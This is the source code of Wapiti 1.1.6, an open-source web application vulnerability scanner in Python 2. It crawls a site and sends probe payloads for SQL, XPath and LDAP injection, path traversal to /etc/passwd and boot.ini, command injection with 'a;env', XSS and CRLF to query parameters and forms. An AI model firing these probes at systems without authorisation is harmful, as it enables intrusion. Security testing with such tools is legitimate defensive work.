#!/usr/bin/env python

# Wapiti v1.1.6 - A web application vulnerability scanner
# Copyright (C) 2006 Nicolas Surribas
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA

import lswww,urllib,urllib2,urlparse,socket
import sys,re,getopt,os

try:
	import cookielib
except ImportError:
	cookielibhere=0
else:
	cookielibhere=1
class wapiti:
	"""
Wapiti-1.1.6 - A web application vulnerability scanner

Usage: wapiti http://server.com/base/url/ [options]

Supported options are:
-s <url>
--start <url>
	To specify an url to start with

-x <url>
--exclude <url>
	To exclude an url from the scan (for example logout scripts)
	You can also use a wildcard (*)
	Exemple : -x "http://server/base/?page=*&module=test"
	or -x http://server/base/admin/* to exclude a directory

-p <url_proxy>
--proxy <url_proxy>
	To specify a proxy
	Exemple: -p http://proxy:port/

-c <cookie_file>
--cookie <cookie_file>
	To use a cookie

-t <timeout>
--timeout <timeout>
	To fix the timeout (in seconds)

-a <login%password>
--auth <login%password>
	Set credentials for HTTP authentication
	Doesn't work with Python 2.4

-r <parameter_name>
--remove <parameter_name>
	Remove a parameter from URLs

-m <module>
--module <module>
	Use a predefined set of scan/attack options
	GET_ALL: only use GET request (no POST)
	GET_XSS: only XSS attacks with HTTP GET method
	POST_XSS: only XSS attacks with HTTP POST method

-u
--underline
	Use color to highlight vulnerables parameters in output

-v <level>
--verbose <level>
	Set the verbosity level
	0: quiet (default), 1: print each url, 2: print every attack

-h
--help
	To print this usage message"""

	root=""
	myls=""
	urls=[]
	forms=[]
	attackedGET=[]
	attackedPOST=[]
	server=""
	proxy={}
	cookie=""
	auth_basic=[]
	color=0
	bad_params=[]
	verbose=0

	doGET=1
	doPOST=1
	doExec=1
	doFileHandling=1
	doInjection=1
	doXSS=1
	doCRLF=1
	timeout=6

	def __init__(self,rooturl):
	  	self.root=rooturl
		self.server=urlparse.urlparse(rooturl)[1]
		self.myls=lswww.lswww(rooturl)
		self.myls.verbosity(1)
		socket.setdefaulttimeout(self.timeout)

	
	def browse(self):
		self.myls.go()
		self.urls=self.myls.getLinks()
		self.forms=self.myls.getForms()
                director = urllib2.OpenerDirector()

                director.add_handler(urllib2.HTTPHandler())
                director.add_handler(urllib2.HTTPSHandler())

                if self.cookie!="" and cookielibhere==1:
                        cj = cookielib.LWPCookieJar()
                        if os.path.isfile(self.cookie):
                                cj.load(self.cookie,ignore_discard=True)
                                director.add_handler(urllib2.HTTPCookieProcessor(cj))
                if self.proxy!={}:
                        director.add_handler(urllib2.ProxyHandler(self.proxy))

		if self.auth_basic!=[]:
			passman = urllib2.HTTPPasswordMgrWithDefaultRealm()
			passman.add_password(None, self.root, self.auth_basic[0], self.auth_basic[1])
			director.add_handler(urllib2.HTTPBasicAuthHandler(passman))

                urllib2.install_opener(director)

	def attack(self):
		if self.urls==[]:
		  print "Problem scanning website !"
		  sys.exit(1)
		if self.doGET==1:
		  print "\nAttacking urls (GET)..."
		  print  "-----------------------"
		  for url in self.urls:
		    if url.find("?")!=-1:
		      self.attackGET(url)
		if self.doPOST==1:
		  print "\nAttacking forms (POST)..."
		  print "-------------------------"
		  for form in self.forms:
		    if form[1]!={}:
		      self.attackPOST(form)
		if self.doXSS==1:
		  print "\nLooking for permanent XSS"
		  print "-------------------------"
		  for url in self.urls:
		    self.permanentXSS(url)
		if self.myls.getUploads()!=[]:
			print "\nUpload scripts found :"
			print "----------------------"
			for url in self.myls.getUploads():
				print url

	def setTimeOut(self,timeout=6):
		self.timeout=timeout
		self.myls.setTimeOut(timeout)

	def setProxy(self,proxy={}):
		self.proxy=proxy
		self.myls.setProxy(proxy)

	def addStartURL(self,url):
		self.myls.addStartURL(url)

	def addExcludedURL(self,url):
		self.myls.addExcludedURL(url)

	def setCookieFile(self,cookie):
	 	self.cookie=cookie
		self.myls.setCookieFile(cookie)

	def setAuthCredentials(self,auth_basic):
		self.auth_basic=auth_basic
		self.myls.setAuthCredentials(auth_basic)

	def addBadParam(self,bad_param):
		self.myls.addBadParam(bad_param)

	def setColor(self):
		self.color=1

	def verbosity(self,vb):
		self.verbose=vb
		self.myls.verbosity(vb)

# following set* functions can be used to create scan modes
	def setGlobal(self,var=0):
	  	"""Activate or desactivate (default) all attacks"""
		self.doGET=var
		self.doPOST=var
		self.doFileHandling=var
		self.doExec=var
		self.doInjection=var
		self.doXSS=var
		self.doCRLF=var

	def setGET(self,get=1):
		self.doGET=get

	def setPOST(self,post=1):
		self.doPOST=post

	def setFileHandling(self,fh=1):
		self.doFileHandling=fh

	def setExec(self,cmds=1):
		self.doExec=cmds

	def setInjection(self,inject=1):
		self.doInjection=inject

	def setXSS(self,xss=1):
		self.doXSS=xss

	def setCRLF(self,crlf=1):
		self.doCRLF=crlf

	def attackGET(self,url):
		page=url.split('?')[0]
		query=url.split('?')[1]
		params=query.split('&')
		dict={}
		if self.verbose==1:
		  print "+ attackGET "+url
		  print "  ",params
		if query.find("=")>=0:
		  for param in params:
		    dict[param.split('=')[0]]=param.split('=')[1]
		if self.doFileHandling==1: self.attackFileHandling(page,dict)
		if self.doExec==1: self.attackExec(page,dict)
		if self.doInjection==1: self.attackInjection(page,dict)
		if self.doXSS==1: self.attackXSS(page,dict)
		if self.doCRLF==1: self.attackCRLF(page,dict)

	def attackPOST(self,form):
	  	if self.verbose==1:
		  print "+ attackPOST "+form[0]
		  print "  ",form[1]
		if self.doFileHandling==1: self.attackFileHandling_POST(form)
		if self.doExec==1: self.attackExec_POST(form)
		if self.doInjection==1: self.attackInjection_POST(form)
		if self.doXSS==1: self.attackXSS_POST(form)

	def attackInjection(self,page,dict):
		payload="\xbf'\"("
		if dict=={}:
		  err=""
		  url=page+"?"+payload
		  if url not in self.attackedGET:
		    if self.verbose==2:
		      print "+ "+url
		    try:
		      req = urllib2.Request(url)
		      u = urllib2.urlopen(req)
		      data=u.read()
		    except (urllib2.URLError,socket.timeout),e:
		      if hasattr(e,'code'):
			data=""
		      else:
			return
		    if data.find("You have an error in your SQL syntax")>=0:
		      err="MySQL Injection"
		    if data.find("supplied argument is not a valid MySQL")>0:
		      err="MySQL Injection"
		    if data.find("[Microsoft][ODBC Microsoft Access Driver]")>=0:
		      err="MSSQL Injection"
		    if data.find("java.sql.SQLException: Syntax error or access violation")>=0:
		      err="Java.SQL Injection"
		    if data.find("XPathException")>=0:
		      err="XPath Injection"
	            if data.find("supplied argument is not a valid ldap")>=0 or data.find("javax.naming.NameNotFoundException")>=0:
		      err="LDAP Injection"
		    if err!="":
		      print err,"(QUERY_STRING) in",page
		      print "\tEvil url:",url
	            else:
		      if u.code==500:
		        print "500 HTTP Error code with"
		        print "\tEvil url:",url
		    self.attackedGET.append(url)
		else:
		  for k in dict.keys():
		    err=""
		    tmp=dict.copy()
		    tmp[k]=payload
		    url=page+"?"+urllib.urlencode(tmp)
		    if url not in self.attackedGET:
		      if self.verbose==2:
			print "+ "+url
		      try:
			req = urllib2.Request(url)
			u = urllib2.urlopen(req)
			data=u.read()
		      except (urllib2.URLError,socket.timeout),e:
			if hasattr(e,'code'):
			  data=""
			else:
			  continue
		      if data.find("You have an error in your SQL syntax")>=0:
			err="MySQL Injection"
		      if data.find("supplied argument is not a valid MySQL")>0:
			err="MySQL Injection"
		      if data.find("[Microsoft][ODBC Microsoft Access Driver]")>=0:
			err="MSSQL Injection"
		      if data.find("java.sql.SQLException: Syntax error or access violation")>=0:
			err="Java.SQL Injection"
		      if data.find("XPathException")>=0:
		        err="XPath Injection"
		      if data.find("supplied argument is not a valid ldap")>=0 or data.find("javax.naming.NameNotFoundException")>=0:
			err="LDAP Injection"
		      if err!="":
		        if self.color==0:
		          print err,"("+k+") in",page
		          print "\tEvil url:",url
		        else:
		          print err,":",url.replace(k+"=","\033[0;31m"+k+"\033[0;0m=")
		      else:
			if u.code==500:
			  print "500 HTTP Error code with"
			  print "\tEvil url:",url
		      self.attackedGET.append(url)

	def attackFileHandling(self,page,dict):
		payloads=["http://www.google.fr/",
		          "/etc/passwd", "/etc/passwd\0", "c:\\\\boot.ini", "c:\\\\boot.ini\0",
		          "../../../../../../../../../../etc/passwd", # /.. is similar to / so one such payload is enough :)
		          "../../../../../../../../../../etc/passwd\0", # same with null byte
		          "../../../../../../../../../../boot.ini",
		          "../../../../../../../../../../boot.ini\0"]
		if dict=={}:
		  warn=0
		  inc=0
		  err500=0
		  for payload in payloads:
		    err=""
		    url=page+"?"+urllib.quote(payload)
		    if url not in self.attackedGET:
		      if self.verbose==2:
			print "+ "+url
		      self.attackedGET.append(url)
		      if inc==1: continue
		      try:
			req = urllib2.Request(url)
			u = urllib2.urlopen(req)
			data=u.read()
		      except (urllib2.URLError,socket.timeout),e:
			if hasattr(e,'code'):
			  data=""
			else:
			  continue
		      if data.find("root:x:0:0")>=0:
			err="Unix include/fread"
		        inc=1
		      if data.find("[boot loader]")>=0:
		        err="Windows include/fread"
		        inc=1
		      if data.find("<title>Google</title>")>0:
		        err="Remote include"
		        inc=1
		      if data.find("java.io.FileNotFoundException:")>=0 and warn==0:
		        err="Warning Java include/open"
		        warn=1
		      if data.find("fread(): supplied argument is not")>0 and warn==0:
		        err="Warning fread"
		        warn=1
		      if data.find("for inclusion (include_path=")>0 and warn==0:
		        err="Warning include"
		        warn=1
                      if data.find("Failed opening required")>=0 and warn==0:
                        err="Warning require"
                        warn=1
		      if data.find("<b>Warning</b>:  file(")>=0 and warn==0:
			err="Warning file()"
			warn=1
		      if data.find("<b>Warning</b>:  file_get_contents(")>=0:
			err="Warning file_get_contents()"
			warn=1
		      if err!="":
			print err,"(QUERY_STRING) in",page
			print "\tEvil url:",url
		      else:
			if u.code==500 and err500==0:
			  err500=1
			  print "500 HTTP Error code with"
			  print "\tEvil url:",url
		for k in dict.keys():
		  warn=0
		  inc=0
		  err500=0
		  for payload in payloads:
		    err=""
		    tmp=dict.copy()
		    tmp[k]=payload
		    url=page+"?"+urllib.urlencode(tmp)
		    if url not in self.attackedGET:
		      if self.verbose==2:
			print "+ "+url
		      self.attackedGET.append(url)
		      if inc==1: continue
		      try:
			req = urllib2.Request(url)
			u = urllib2.urlopen(req)
			data=u.read()
		      except (urllib2.URLError,socket.timeout),e:
			if hasattr(e,'code'):
			  data=""
			else:
			  continue
		      if data.find("root:x:0:0")>=0:
			err="Unix include/fread"
		        inc=1
		      if data.find("[boot loader]")>=0:
		        err="Windows include/fread"
		        inc=1
		      if data.find("<title>Google</title>")>0:
		        err="Remote include"
		        inc=1
		      if data.find("java.io.FileNotFoundException:")>=0 and warn==0:
		        err="Warning Java include/open"
		        warn=1
		      if data.find("fread(): supplied argument is not")>0 and warn==0:
		        err="Warning fread"
		        warn=1
		      if data.find("for inclusion (include_path=")>0 and warn==0:
		        err="Warning include"
		        warn=1
                      if data.find("Failed opening required")>=0 and warn==0:
                        err="Warning require"
                        warn=1
		      if data.find("<b>Warning</b>:  file(")>=0 and warn==0:
			err="Warning file()"
			warn=1
		      if data.find("<b>Warning</b>:  file_get_contents(")>=0:
			err="Warning file_get_contents()"
			warn=1
		      if err!="":
		        if self.color==0:
		          print err,"("+k+") in",page
		          print "\tEvil url:",url
		        else:
		          print err,":",url.replace(k+"=","\033[0;31m"+k+"\033[0;0m=")
		      else:
			if u.code==500 and err500==0:
			  err500=1
			  print "500 HTTP Error code with"
			  print "\tEvil url:",url

	def attackXSS(self,page,dict):
		if dict=={}:
		  err=""
		  payload="<script>var wapiti_"
		  payload+=page.encode("hex_codec")
		  payload+="_"
		  payload+="QUERYSTRING".encode("hex_codec")
		  payload+="=new Boolean();</script>"
		  url=page+"?"+payload
		  if url not in self.attackedGET:
		    try:
		      if self.verbose==2:
			print "+ "+url
		      req = urllib2.Request(url)
		      u = urllib2.urlopen(req)
		      data=u.read()
		    except (urllib2.URLError,socket.timeout),e:
		      if hasattr(e,'code'):
			data=""
		      else:
			return
		    if data.find(payload)>=0:
		      print "XSS (QUERY_STRING) in",page
		      print "\tEvil url:",url
	            else:
		      if u.code==500:
			print "500 HTTP Error code with"
			print "\tEvil url:",url
		    self.attackedGET.append(url)
		for k in dict.keys():
		  err=""
		  tmp=dict.copy()
		  payload="<script>var wapiti_"
		  payload+=page.encode("hex_codec")
		  payload+="_"
		  payload+=k.encode("hex_codec")
		  payload+="=new Boolean();</script>"
		  tmp[k]=payload
		  url=page+"?"+urllib.unquote(urllib.urlencode(tmp))
		  if url not in self.attackedGET:
		    if self.verbose==2:
		      print "+ "+url
		    try:
		      req = urllib2.Request(url)
		      u = urllib2.urlopen(req)
		      data=u.read()
		    except (urllib2.URLError,socket.timeout),e:
		      if hasattr(e,'code'):
			data=""
		      else:
			continue
		    if data.find(payload)>=0:
		      if self.color==0:
		        print "XSS ("+k+") in",page
		        print "\tEvil url:",url
		      else:
		        print "XSS",":",url.replace(k+"=","\033[0;31m"+k+"\033[0;0m=")
	            else:
		      if u.code==500:
			print "500 HTTP Error code with"
			print "\tEvil url:",url
		    self.attackedGET.append(url)

	def attackExec(self,page,dict):
		payloads=["a;env",
		          "a);env",
			  "/e\0"]
		if dict=={}:
		  warn=0
		  cmd=0
		  err500=0
		  for payload in payloads:
		    err=""
		    url=page+"?"+urllib.quote(payload)
		    if url not in self.attackedGET:
		      if self.verbose==2:
			print "+ "+url
		      self.attackedGET.append(url)
		      if cmd==1: continue
		      try:
			req = urllib2.Request(url)
			u = urllib2.urlopen(req)
			data=u.read()
		      except (urllib2.URLError,socket.timeout),e:
			if hasattr(e,'code'):
			  data=""
			else:
			  return
		      if data.find("eval()'d code</b> on line <b>")>=0 and warn==0:
			err="Warning eval()"
		        warn=1
		      if data.find("PATH=")>=0 and data.find("PWD=")>=0:
		        err="Command execution"
		        cmd=1
		      if data.find("Cannot execute a blank command in")>=0 and warn==0:
		        err="Warning exec"
		        warn=1
		      if data.find("Fatal error</b>:  preg_replace")>=0 and warn==0:
			err="preg_replace injection"
			warn=1
		      if err!="":
			print err,"(QUERY_STRING) in",page
			print "\tEvil url:",url
		      else:
			if u.code==500 and err500==0:
			  err500=1
			  print "500 HTTP Error code with"
			  print "\tEvil url:",url
		for k in dict.keys():
		  warn=0
		  cmd=0
		  err500=0
		  for payload in payloads:
		    err=""
		    tmp=dict.copy()
		    tmp[k]=payload
		    url=page+"?"+urllib.urlencode(tmp)
		    if url not in self.attackedGET:
		      if self.verbose==2:
			print "+ "+url
		      self.attackedGET.append(url)
		      if cmd==1: continue
		      try:
			req = urllib2.Request(url)
			u = urllib2.urlopen(req)
			data=u.read()
		      except (urllib2.URLError,socket.timeout),e:
			if hasattr(e,'code'):
			  data=""
			else:
			  continue
		      if data.find("eval()'d code</b> on line <b>")>=0 and warn==0:
			err="Warning eval()"
		        warn=1
		      if data.find("PATH=")>=0 and data.find("PWD=")>=0:
		        err="Command execution"
		        cmd=1
		      if data.find("Cannot execute a blank command in")>0 and warn==0:
		        err="Warning exec"
		        warn=1
		      if data.find("Fatal error</b>:  preg_replace")>=0 and warn==0:
			err="preg_replace injection"
			warn=1
		      if err!="":
		        if self.color==0:
		          print err,"("+k+") in",page
		          print "\tEvil url:",url
		        else:
		          print err,":",url.replace(k+"=","\033[0;31m"+k+"\033[0;0m=")
		      else:
			if u.code==500 and err500==0:
			  err500=1
			  print "500 HTTP Error code with"
			  print "\tEvil url:",url

	# Won't work with PHP >= 4.4.2
	def attackCRLF(self,page,dict):
		payload="http://www.google.fr\r\nWapiti: version 1.1.6"
		if dict=={}:
		  err=""
		  url=page+"?"+payload
		  if url not in self.attackedGET:
		    if self.verbose==2:
		      print "+ "+url
		    try:
		      req = urllib2.Request(url)
		      u = urllib2.urlopen(req)
		      if u.info().has_key('Wapiti'):
			err="CRLF Injection"
		    except (urllib2.URLError,socket.timeout):
		      err=""
		    if err!="":
		      print err,"(QUERY_STRING) in",page
		      print "\tEvil url:",url
		    self.attackedGET.append(url)
		else:
		  for k in dict.keys():
		    err=""
		    tmp=dict.copy()
		    tmp[k]=payload
		    url=page+"?"+urllib.urlencode(tmp)
		    if url not in self.attackedGET:
		      if self.verbose==2:
			print "+ "+url
		      try:
			req = urllib2.Request(url)
			u = urllib2.urlopen(req)
			if u.info().has_key('Wapiti'):
			  err="CRLF Injection"
		      except (urllib2.URLError,socket.timeout):
			err=""
		      if err!="":
		        if self.color==0:
		          print err,"("+k+") in",page
		          print "\tEvil url:",url
		        else:
		          print err,":",url.replace(k+"=","\033[0;31m"+k+"\033[0;0m=")
		      self.attackedGET.append(url)

	def attackInjection_POST(self,form):
		payload="\xbf'\"("
		page=form[0]
		dict=form[1]
		err=""
		for k in dict.keys():
		  tmp=dict.copy()
		  tmp[k]=payload
		  if (page,tmp) not in self.attackedPOST:
		    headers={"Accept": "text/plain"}
		    if self.verbose==2:
		      print "+ "+page
		      print "  ",tmp
		    try:
		      req = urllib2.Request(page,urllib.urlencode(tmp),headers)
		      u = urllib2.urlopen(req)
		      data=u.read()
		    except (urllib2.URLError,socket.timeout),e:
		      if hasattr(e,'code'):
			data=""
		      else:
			continue
		    if data.find("You have an error in your SQL syntax")>=0:
		      err="MySQL Injection"
		    if data.find("supplied argument is not a valid MySQL")>0:
		      err="MySQL Injection"
		    if data.find("[Microsoft][ODBC Microsoft Access Driver]")>=0:
		      err="MSSQL Injection"
		    if data.find("java.sql.SQLException: Syntax error or access violation")>=0:
		      err="SQL Injection"
		    if data.find("XPathException")>=0:
		      err="XPath Injection"
		    if data.find("supplied argument is not a valid ldap")>=0 or data.find("javax.naming.NameNotFoundException")>=0:
		      err="LDAP Injection"
		    if err!="":
		      print err,"in",page
		      print "  with params =",urllib.urlencode(tmp)
		      print "  coming from",form[2]
	            else:
		      if u.code==500:
			print "500 HTTP Error code in",page
			print "  with params =",urllib.urlencode(tmp)
			print "  coming from",form[2]
		    self.attackedPOST.append((page,tmp))

	def attackFileHandling_POST(self,form):
		payloads=["http://www.google.fr/",
		          "/etc/passwd", "/etc/passwd\0", "c:\\\\boot.ini", "c:\\\\boot.ini\0",
		          "../../../../../../../../../../etc/passwd", # /.. is similar to / so one such payload is enough :)
		          "../../../../../../../../../../etc/passwd\0", # same with null byte
		          "../../../../../../../../../../boot.ini",
		          "../../../../../../../../../../boot.ini\0"]
		page=form[0]
		dict=form[1]
		err=""
		for payload in payloads:
                  warn=0
                  inc=0
		  err500=0
		  for k in dict.keys():
		    tmp=dict.copy()
		    tmp[k]=payload
		    if (page,tmp) not in self.attackedPOST:
		      self.attackedPOST.append((page,tmp))
		      if inc==1: continue
		      headers={"Accept": "text/plain"}
		      if self.verbose==2:
			print "+ "+page
			print "  ",tmp
		      try:
			req = urllib2.Request(page,urllib.urlencode(tmp),headers)
			u = urllib2.urlopen(req)
			data=u.read()
		      except (urllib2.URLError,socket.timeout),e:
			if hasattr(e,'code'):
			  data=""
			else:
			  continue
		      if data.find("root:x:0:0")>=0:
			err="Unix include/fread"
		        inc=1
		      if data.find("[boot loader]")>=0:
		        err="Windows include/fread"
		        inc=1
		      if data.find("<title>Google</title>")>0:
		        err="Remote include"
		        inc=1
		      if data.find("java.io.FileNotFoundException:")>=0 and warn==0:
		        err="Warning Java include/open"
		        warn=1
		      if data.find("fread(): supplied argument is not")>0 and warn==0:
		        err="Warning fread"
		        warn=1
		      if data.find("for inclusion (include_path=")>0 and warn==0:
		        err="Warning include"
		        warn=1
                      if data.find("Failed opening required")>=0 and warn==0:
                        err="Warning require"
                        warn=1
		      if data.find("<b>Warning</b>:  file(")>=0 and warn==0:
			err="Warning file()"
			warn=1
		      if data.find("<b>Warning</b>:  file_get_contents(")>=0:
			err="Warning file_get_contents()"
			warn=1
		      if err!="":
			print err,"in",page
			print "  with params =",urllib.urlencode(tmp)
			print "  coming from",form[2]
		      else:
			if u.code==500 and err500==0:
			  err500=1
			  print "500 HTTP Error code in",page
			  print "  with params =",urllib.urlencode(tmp)
			  print "  coming from",form[2]

	def attackXSS_POST(self,form):
		page=form[0]
		dict=form[1]
		for k in dict.keys():
		  tmp=dict.copy()
		  payload="<script>var wapiti_"
		  payload+=page.encode("hex_codec")
		  payload+="_"
		  payload+=k.encode("hex_codec")
		  payload+="=new Boolean();</script>"
		  tmp[k]=payload
		  if (page,tmp) not in self.attackedPOST:
		    headers={"Accept": "text/plain"}
		    if self.verbose==2:
		      print "+ "+page
		      print "  ",tmp
		    try:
		      req = urllib2.Request(page,urllib.unquote(urllib.urlencode(tmp)),headers)
		      u = urllib2.urlopen(req)
		      data=u.read()
		    except (urllib2.URLError,socket.timeout),e:
		      if hasattr(e,'code'):
			data=""
		      else:
			continue
		    if data.find(payload)>=0:
		      print "Found XSS in",page
		      print "  with params =",urllib.urlencode(tmp)
		      print "  coming from",form[2]
	            else:
		      if u.code==500:
			print "500 HTTP Error code in",page
			print "  with params =",urllib.urlencode(tmp)
			print "  coming from",form[2]
		    self.attackedPOST.append((page,tmp))

	def attackExec_POST(self,form):
		payloads=["a;env",
		          "a);env",
			  "/e\0"]
		page=form[0]
		dict=form[1]
		err=""
		for payload in payloads:
                  warn=0
                  cmd=0
		  err500=0
		  for k in dict.keys():
		    tmp=dict.copy()
		    tmp[k]=payload
		    if (page,tmp) not in self.attackedPOST:
		      self.attackedPOST.append((page,tmp))
		      if cmd==1: continue
		      headers={"Accept": "text/plain"}
		      if self.verbose==2:
			print "+ "+page
			print "  ",tmp
		      try:
			req = urllib2.Request(page,urllib.urlencode(tmp),headers)
			u = urllib2.urlopen(req)
			data=u.read()
		      except (urllib2.URLError,socket.timeout),e:
			if hasattr(e,'code'):
			  data=""
			else:
			  continue
		      if data.find("eval()'d code</b> on line <b>")>=0 and warn==0:
			err="Warning eval()"
		        warn=1
		      if data.find("PATH=")>=0 and data.find("PWD=")>=0:
		        err="Command execution"
		        cmd=1
		      if data.find("Cannot execute a blank command in")>0 and warn==0:
		        err="Warning exec"
		        warn=1
		      if data.find("Fatal error</b>:  preg_replace")>=0 and warn==0:
			err="preg_replace injection"
			warn=1
		      if err!="":
			print err,"in",page
			print "  with params =",urllib.urlencode(tmp)
			print "  coming from",form[2]
		      else:
			if u.code==500 and err500==0:
			  err500=1
			  print "500 HTTP Error code in",page
			  print "  with params =",urllib.urlencode(tmp)
			  print "  coming from",form[2]

	def permanentXSS(self,url):
		try:
		  req = urllib2.Request(url)
		  u = urllib2.urlopen(req)
		  data=u.read()
		except (urllib2.URLError,socket.timeout):
		  data=""
		p=re.compile("<script>var wapiti_[0-9a-h]+_[0-9a-h]+=new Boolean\(\);</script>")
		for s in p.findall(data):
		  s=s.split("=")[0].split('_')[1:]
		  print "Found permanent XSS in",url
		  print "  attacked by",s[0].decode("hex_codec"),"with field",s[1].decode("hex_codec")

if __name__ == "__main__":
  try:
	prox={}
	auth=[]
	if len(sys.argv)<2:
	  print wapiti.__doc__
	  sys.exit(0)
	if '-h' in sys.argv or '--help' in sys.argv:
	  print wapiti.__doc__
	  sys.exit(0)
	wap=wapiti(sys.argv[1])
	try:
	  opts, args = getopt.getopt(sys.argv[2:], "hup:s:x:c:a:r:v:t:m:",
	      ["help","underline","proxy=","start=","exclude=","cookie=","auth=","remove=","verbose=","timeout=","module="])
	except getopt.GetoptError,e:
	  print e
	  sys.exit(2)
	for o,a in opts:
	  if o in ("-h", "--help"):
	    print wapiti.__doc__
	    sys.exit(0)
	  if o in ("-s","--start"):
	    if (a.find("http://",0)==0) or (a.find("https://",0)==0):
	      wap.addStartURL(a)
	  if o in ("-x","--exclude"):
	    if (a.find("http://",0)==0) or (a.find("https://",0)==0):
	      wap.addExcludedURL(a)
	  if o in ("-p","--proxy"):
	    if (a.find("http://",0)==0) or (a.find("https://",0)==0):
	      prox={'http':a}
	      wap.setProxy(prox)
	  if o in ("-c","--cookie"):
	    wap.setCookieFile(a)
	  if o in ("-a","--auth"):
	    if a.find("%")>=0:
	      auth=[a.split("%")[0],a.split("%")[1]]
	      wap.setAuthCredentials(auth)
	  if o in ("-r","--remove"):
	    wap.addBadParam(a)
	  if o in ("-u","--underline"):
	    wap.setColor()
	  if o in ("-v","--verbose"):
	    if str.isdigit(a):
	      wap.verbosity(int(a))
	  if o in ("-t","--timeout"):
	    if str.isdigit(a):
	      wap.setTimeOut(int(a))
	  if o in ("-m","--module"):
	    if a=="GET_XSS":
	      wap.setGlobal()
	      wap.setGET()
	      wap.setXSS()
	    elif a=="POST_XSS":
	      wap.setGlobal()
	      wap.setPOST()
	      wap.setXSS()
	    elif a=="GET_ALL":
	      wap.setPOST(0)
	print "Wapiti-1.1.6 (wapiti.sourceforge.net)"
	wap.browse()
	wap.attack()
  except SystemExit:
	pass
